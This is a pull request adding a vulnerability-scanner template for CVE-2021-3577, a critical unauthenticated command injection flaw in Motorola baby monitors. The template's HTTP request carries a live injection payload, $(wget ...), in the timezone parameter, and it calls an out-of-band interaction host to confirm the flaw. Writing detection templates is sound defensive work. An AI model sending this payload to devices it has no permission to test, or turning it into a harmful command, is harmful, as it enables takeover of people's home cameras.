Merge pull request #2747 from gy741/rule-add-v59

Create CVE-2021-3577.yaml

cves/2021/CVE-2021-3577.yaml

@@ -0,0 +1,34 @@
+id: CVE-2021-3577
+
+info:
+  name: Motorola Baby Monitors Unauthenticated RCE
+  author: gy741
+  severity: critical
+  description: Vulnerabilities in the interface of Motorola Baby Monitors could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
+  reference:
+    - https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3577
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2021-3577
+    cwe-id: CWE-78
+  tags: cve,cve2021,rce,oob,motorola,iot
+
+requests:
+  - raw:
+      - |
+        GET /?action=command&command=set_city_timezone&value=$(wget%20http://{{interactsh-url}})) HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"